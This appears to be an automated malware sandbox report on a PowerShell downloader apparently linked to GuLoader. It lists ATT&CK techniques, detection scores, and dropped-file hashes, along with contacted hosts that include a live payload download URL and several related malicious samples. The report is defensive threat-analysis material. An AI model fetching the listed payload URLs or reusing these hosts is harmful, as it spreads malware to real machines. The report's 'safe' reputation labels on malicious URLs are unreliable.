Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Users\Public\wusb.bat

2_2_0040333D

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	121 Masquerading	1 Input Capture	1 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	11 Process Injection	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zk.ps1	11%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\Public\wusb.bat	3%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsr743A.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dld.ae	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.blumo4maxxlasmo4r.com/rh/List%20of%20rmo4quirmo4d%20itmo4ms%20and%20smo4rvicmo4s.pdf	0%	Avira URL Cloud	safe
http://www.oruddho.com	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com	0%	Avira URL Cloud	safe
https://www.dld.ae/zp/zpeu.exe	0%	Avira URL Cloud	safe
https://www.dld.ae	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dld.ae	84.16.234.51	true	false	0%, Virustotal, Browse	unknown
www.bluemaxxlaser.com	203.175.174.69	true	false		unknown
www.dld.ae	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dld.ae/zp/zpeu.exe	false	Avira URL Cloud: safe	unknown
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.447373146.000001CDC2608000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.506986091.000001CDD25B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.506986091.000001CDD246D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.oruddho.com	wusb.bat, 00000002.00000003.429172905.00000000027D4000.00000004.00000020.00020000.00000000.sdmp, bn.txt.2.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.447373146.000001CDC2608000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.447373146.000001CDC2608000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.447373146.000001CDC3EDA000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.bluemaxxlaser.com	powershell.exe, 00000000.00000002.447373146.000001CDC3518000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.447373146.000001CDC3529000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.506986091.000001CDD246D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.447373146.000001CDC2608000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.506986091.000001CDD25B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.506986091.000001CDD246D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000000.00000002.506986091.000001CDD246D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.blumo4maxxlasmo4r.com/rh/List%20of%20rmo4quirmo4d%20itmo4ms%20and%20smo4rvicmo4s.pdf	powershell.exe, 00000000.00000002.447373146.000001CDC2608000.00000004.00000800.00020000.00000000.sdmp, zk.ps1	true	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.506986091.000001CDD246D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	wusb.bat, 00000002.00000002.675606792.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, wusb.bat, 00000002.00000000.418227016.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, wusb.bat.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.447373146.000001CDC2401000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.447373146.000001CDC2608000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dld.ae	powershell.exe, 00000000.00000002.447373146.000001CDC2E07000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.175.174.69	www.bluemaxxlaser.com	Singapore		24482	SGGS-AS-APSGGSSG	false
84.16.234.51	dld.ae	Germany		28753	LEASEWEB-DE-FRA-10DE	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	879708
Start date and time:	2023-06-01 12:13:10 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	zk.ps1
Detection:	MAL
Classification:	mal56.evad.winPS1@13/63@3/3
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 62.2% (good quality ratio 60.7%) Quality average: 88.3% Quality standard deviation: 21.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 66 Number of non-executed functions: 33
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.21.22.155, 2.21.22.179, 23.36.224.131
Excluded domains from analysis (whitelisted): ssl.adobe.com.edgekey.net, armmf.adobe.com, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, a122.dscd.akamai.net, ctldl.windowsupdate.com, acroipm2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 5768 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:14:21	API Interceptor	44x Sleep call for process: powershell.exe modified
12:14:37	API Interceptor	1x Sleep call for process: RdrCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.175.174.69	zpeu.exe	Get hash	malicious	GuLoader	Browse	bluemaxxlaser.com/rh/rheu.bin
203.175.174.69	as.ps1	Get hash	malicious	GuLoader	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
84.16.234.51	as.ps1	Get hash	malicious	GuLoader	Browse
84.16.234.51	RFQ - Scan36711006.exe	Get hash	malicious	AgentTesla, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.bluemaxxlaser.com	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SGGS-AS-APSGGSSG	zpeu.exe	Get hash	malicious	GuLoader	Browse	203.175.174.69
	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69
	Fe7MaP3DNP.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	Demon.x86.elf	Get hash	malicious	Unknown	Browse	103.14.247.55
	tebjuOp0kK.elf	Get hash	malicious	Mirai	Browse	103.14.247.35
	7Hhy4dfkst.elf	Get hash	malicious	Mirai	Browse	103.14.247.31
	5HzazUnnF6.elf	Get hash	malicious	Mirai	Browse	103.14.247.75
	4M3ACl2k2v.elf	Get hash	malicious	Unknown	Browse	103.14.247.47
	wget.elf	Get hash	malicious	Unknown	Browse	103.14.247.29
	chB6z5L2GD.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	86iDRbpkXb.elf	Get hash	malicious	Mirai	Browse	103.14.247.72
	yC34ftIroi.elf	Get hash	malicious	Mirai	Browse	103.14.247.68
	http://singaporeoptometricassociation.com/	Get hash	malicious	Unknown	Browse	203.175.162.79
	PiuV0y8Fw8.elf	Get hash	malicious	Mirai	Browse	103.14.247.49
	BvZi2Dj3LS.elf	Get hash	malicious	Mirai	Browse	103.14.247.26
	q44S0kQ3wZ.exe	Get hash	malicious	AgentTesla, Vidar	Browse	203.175.174.68
	SecuriteInfo.com.Win32.PWSX-gen.18409.25600.exe	Get hash	malicious	AgentTesla	Browse	203.175.168.182
	#U260e#Ufe0f E-Fax-Invoice.htm	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	https://faxcorporation1.od2.vtiger.com/pages/new_fax_receieved	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	aJF1hL1hAJ.dll	Get hash	malicious	Wannacry	Browse	124.6.37.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	as.ps1	Get hash	malicious	GuLoader	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	Cobro_Juridico_Historial_de_pago.vbs	Get hash	malicious	Njrat, PasteDownloader	Browse	84.16.234.51
	PO20230247.xla.xlsx	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.ps1	Get hash	malicious	Unknown	Browse	84.16.234.51
	main.ps1	Get hash	malicious	KDOT TOKEN GRABBER	Browse	84.16.234.51
	AEJR1569.js	Get hash	malicious	NetSupport RAT	Browse	84.16.234.51
	https://docs.google.com/drawings/d/1yyXXrwkMe93YDIykPC-d3JWZ3X37agPJMgGC3eIiv0w/preview	Get hash	malicious	HTMLPhisher	Browse	84.16.234.51
	npp.8.5.3.Installer.x64342423423423424242423423424.bat	Get hash	malicious	Unknown	Browse	84.16.234.51
	Pagamento.js	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	84.16.234.51
	rBillofLading05-25-2023.exe	Get hash	malicious	AveMaria	Browse	84.16.234.51
	SCAN_DOC_003930_doc.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	HIOY0568.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	Voucher_Booking_Reservation_Detail_09888846348.vbs	Get hash	malicious	AsyncRAT	Browse	84.16.234.51
	06472899.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll	zpeu.exe	Get hash	malicious	GuLoader	Browse
	zpeu.exe	Get hash	malicious	GuLoader	Browse
	as.ps1	Get hash	malicious	GuLoader	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	FormBook, GuLoader	Browse
	KwP6qU3cQ8.exe	Get hash	malicious	GuLoader	Browse
	DB948GHBNJI.xlsx	Get hash	malicious	GuLoader	Browse
	Order-new world foods.xlsx	Get hash	malicious	GuLoader	Browse
	8cAZneRN6B.exe	Get hash	malicious	FormBook, GuLoader	Browse
	8cAZneRN6B.exe	Get hash	malicious	GuLoader	Browse
	fr34veeTGm.exe	Get hash	malicious	FormBook, GuLoader	Browse
	fr34veeTGm.exe	Get hash	malicious	GuLoader	Browse
	ShipmentReceipt9521368040.xlsx	Get hash	malicious	GuLoader	Browse
	njUIPPVrud.exe	Get hash	malicious	FormBook, GuLoader	Browse
	njUIPPVrud.exe	Get hash	malicious	GuLoader	Browse
	ShipmentReceipt93213628045.xlsx	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\Public\wusb.bat

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	344681
Entropy (8bit):	6.7218967633534605
Encrypted:	false
SSDEEP:	6144:bmOPbtybqh+/fDv9vE520B36t/21/F99OjpiN6:ft2W+nz9s520j999OS6
MD5:	9DCA43CB15D97693D2DE73683804C5C7
SHA1:	3BF61BC542DB16E0A045505C2868CD12CFCAC769
SHA-256:	C3AC750A23FB48EEE9E1CE2D9BD59AADBC190A1DD36AFBDC9F5C39EEB7F87756
SHA-512:	26A0870AE04D5939C410F31B1755D0AE37658921536D6C6A02FA59003B5CF3AD1FC5D4DA919DD1B6D58B451210BD46084E74FD44C8988065FEE78B88EB122549
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...'.uY.................d...*......=3............@.......................................@..........................................................................................................................................................text...mb.......d.................. ..`.rdata...............h..............@..@.data................\|..............@....ndata...P...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\05349744be1ad4ad_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.628669466826565
Encrypted:	false
SSDEEP:	3:m+lvns8RzYOCGLvHkWBGKuKjXKLNjKLuV9SRVvYMktIJiTFJrqzOJkvP5m1:men9YOFLvEWdM9QiSzgltIJi7Z+P41
MD5:	140F85347B51280C00575BEA6ECD8884
SHA1:	598FDD5E7C12ACE7F849571989627CD9DFCC288C
SHA-256:	63E6CC5E8E701E86C737DF57602351CC440BB985C29E3DE2EE3F68D65993EB8E
SHA-512:	CB85CD255417CF06491E2ED7A3DA07D4890E3A7037D4AFC9A86E68C4AFB4638A764FEE76120311302DDE7219C3F66EB3BF7FB2C8DF7BC8FF3A92481B5E973C27
Malicious:	false
Preview:	0\r..m......M..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/plugin.js ......[/....."#.D.40.;..A.A..Eo.......r>............d.{v.^.G...d.W.:...P..k%..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0786087c3c360803_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.487901261701354
Encrypted:	false
SSDEEP:	3:m+lF9NX6v8RzYOCGLvHktWVgqwaldE/MktUSllle98fZe/O+/rkwGhkg4m1:mi9NqEYOFLvEk6alUltF/48Be7Ywcr1
MD5:	240ECC69BDBE7D85C5202E60F525150A
SHA1:	0DD856BA0B4F8B6CB823CB58E57CE7590451341C
SHA-256:	3A993D602BB22EE07C1462CBF2D526DD84A495A6E2ADFB72BDAE5DE06AD9F6E6
SHA-512:	532FD7C7C5328BDADCE0D951F0FA0A3CD8DFE9D5914010062D819D32E696724DA01DA16A25804F4D2B8B00FE040A74D6A79119D79FEADB9F1FA3AFC8DEBD365B
Malicious:	false
Preview:	0\r..m............,....._keyhttps://rna-resource.acrobat.com/init.js .E.o..[/....."#.D....;..A.A..Eo.......x0[.........1.x.'.vI..*\|Z..o...+.4....0..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0998db3a32ab3f41_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.538808774163056
Encrypted:	false
SSDEEP:	6:mMyEYOFLvEWdVFLBKFjVFLBKFlQhu/tllTu9hltu4t/RlUoSjGY1:DyeRVFAFjVFAFR/S9I4tZlUo6
MD5:	8B9AAFF922388B5CCD61A909B37EB0C1
SHA1:	059A0E8131D4CB0EF1BC4A7DCEC9CE13FE887971
SHA-256:	76561D86CDE60347F8815CCCB3A0EB9D893D4A063EDA8F2EF0A88B20A791F9C2
SHA-512:	6748EC756C301B3385005B27E2B7CE56C7A5F2FA1441DBED485CF38CD0E4ABBC9A3EC1ADB7548EE70BB5F1F2197DCACEA4B7A8400AF0F936BD1517DAE8E4DE6D
Malicious:	false
Preview:	0\r..m......v...n......._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/selector.js .c..[/....."#.Di. .;..A.A..Eo...................hvDO.N.t@.....n.*...... ....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0f25049d69125b1e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.5855350763704825
Encrypted:	false
SSDEEP:	6:m+yiXYOFLvEWd7VIGXVu7olWhltRVyh9PT41:pyixRuNolWjnV41T
MD5:	479E97367AAA52F76C0C3940DC7806E6
SHA1:	F596AE5A72709C35E1EEDB931C78D356B31153F4
SHA-256:	BBA6C31F64F1CBCD4BD00EE37981FF026CC36069BF643B8F1071656CE0E190F8
SHA-512:	B2849C74BB5B2E910CFB1BBA2A75649368523463C87D89DEC4EDDEF0C4A6E1735088F3503E4884CED806C92AD5D6235D6B1196CB93C942BBFA8EB178D088425A
Malicious:	false
Preview:	0\r..m......R...kP]g...._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/selector.js ..^...[/....."#.D%.#.;..A.A..Eo........@w........k.Q.....-_..y.....O...>..1....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\230e5fe3e6f82b2c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.647156122295386
Encrypted:	false
SSDEEP:	3:m+lifll08RzYOCGLvHkWBGKuKjXKoyNjXKLuVYCHJu8qMktd//xlYo2sZI8xeGvA:mvYOFLvEWdhwjQv4VqltdT3ZIl6P41
MD5:	2778320CEBF069BDEA704E6E43E8AA7F
SHA1:	5831B79EF51D0C56B90ECE8FD918CE6BFDE01935
SHA-256:	374C1BAF9C1025B53E20A0945883A2E6AF7B4DFC2E7910AFFBA55B437FEA0336
SHA-512:	596B79ACD56EF92946BF6457A619480201A54055A5682027CA0564BD080906B526EFCAF145DB3A728542F3E0E857DEDA4252ED415F032AED4BE205041941CCD6
Malicious:	false
Preview:	0\r..m......X.....V....._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/plugin.js ......[/....."#.D....;..A.A..Eo......_<^..........].>....uUf..N...k......c..l.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2798067b152b83c7_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.52377031852074
Encrypted:	false
SSDEEP:	6:mJYOFLvEWdGQRQOdQCKl/q540hltJW/l9D6g1:2RHRQCAqxjjWbD
MD5:	8AB2F47D6903B3234135D13FAE33C8A0
SHA1:	1C8E9CBE56F5DE634B68EAB487EB085D11542670
SHA-256:	50D39F4A8914E911A672FDC239E1BD47D617197E607D55C63BE1A92C11925C68
SHA-512:	187B75422BE296B2D7E4D9B93C91FFAB035BFB05F386450D35AD6C6862331299E3D76856D8E752E7D1C5E051691CEF46B4C1A464172BA7C640F1D6E6A3069200
Malicious:	false
Preview:	0\r..m......Q..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/plugin.js ......[/....."#.D.-.;..A.A..Eo......g.'_..........c..y/L....\|y.n..C/I.....X7-ne.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2a426f11fd8ebe18_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.566046214194962
Encrypted:	false
SSDEEP:	3:m+lLp08RzYOCGLvHkfaMMuV6llaWns1qMktzlQMWqg4nRb7om5m1:mOYOFLvECMLOlaWs1qltauR/41
MD5:	70241EAEEB07AD723DA5FA0CC3D1D505
SHA1:	ECD07BB4BE90AE46EB792C297451D85D3FF00606
SHA-256:	4E3084F3FFF672B5D5BCBB001FD11B1DDA1B65E105459627E11CFD5BCD3C6F35
SHA-512:	5E517A449A53A1B8A1E000A97109269AB5E89DEA73CCFA4A72C258EC6773D0A8F1B506E4DA923BED14A6810CDFCA909774E550483B73002D3E6F14DE9AC85582
Malicious:	false
Preview:	0\r..m......3....<lb...._keyhttps://rna-resource.acrobat.com/base_uris.js ..o..[/....."#.D.3.;..A.A..Eo.......k..........y...L<?W.Xi..A\Q3...J.}...d..~G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\3a4ae3940784292a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.543023583704141
Encrypted:	false
SSDEEP:	6:m4fPYOFLvEWdtuM1L9hlt/by0zBUKSAA1:pRP1L9Zb
MD5:	32EC8465FF7DD6A118B632B79852C2DC
SHA1:	02CC792C7B65171AEAC517711A87D0F45271B2FF
SHA-256:	5C9C0F9EEA2A3990906D174BF874795BE0DD6C52EEB58A336A3EE19C48DF9D31
SHA-512:	082562CB001E2E5C3F4BB5215ACB5908481979922C4BF224AA218CF8FA16EA4C9EFFB48D825D84F3EB0945B5AF1E30C41DD0E17EBF1698A64565886EB77E76CC
Malicious:	false
Preview:	0\r..m......V..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/search-summary/js/selector.js .....[/....."#.D....;..A.A..Eo.......5.........Q..E.=....=h`t..t..3%A.F$..w..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\4a0e94571d979b3c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	177
Entropy (8bit):	5.528010224201159
Encrypted:	false
SSDEEP:	3:m+l64HXlA8RzYOCGLvHkjXMLOWFvqu+KlllgBn/1MktMfkd1dn76KohyP5m1:md4HXXYOFLvEjMSWFvqu1/lgRtltUkjg
MD5:	96A1698CD86A075534C8FDDCD8B12300
SHA1:	21E5FC48653618D4309C90D619576552D338B942
SHA-256:	C709A33BA0A5FEBE7CE4CBF99838EAD6B9012D10E4C03B7BB59C0F6AB09DBA22
SHA-512:	BF20206C22DD2517BD63E6DBD8801A077EEF8C9CA6298F95EC114371585EA13BD730509AFA3AE9F0955866B974503884FA9E38D83AAEEACAC404E16A80073270
Malicious:	false
Preview:	0\r..m......1......5...._keyhttps://rna-resource.acrobat.com/plugins.js ...o..[/....."#.D.$.;..A.A..Eo......Kc...........PU ....t^.....a.k..u.7.M.BW6#}..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\560e9c8bff5008d8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.562642110688597
Encrypted:	false
SSDEEP:	3:m+lpSUlIv8RzYOCGLvHkWBGKuK2fKVLge1l/ZnYu/Mkt0/RUPqf9tsDMaPV44m1:mkl9YOFLvEWsfOLge1l/ZBlt0KPqVyMx
MD5:	E1F941F9D2F09A305CE4EC7D41F6474A
SHA1:	34DE3C2878898E81A7678EBB88A11EACA7ED5FF1
SHA-256:	AEEAF0336549AD7998461A07D9A95D1FFA56A6AECE6012B056058211BC14FD1C
SHA-512:	F48D693BF848ACFA60CD718C9D6020D761521BDD9E81251D546345075EDF6EA798736AB43C54990D8B607412C54441CF629E5D8DE06A57E691D792FEE5B7C8E6
Malicious:	false
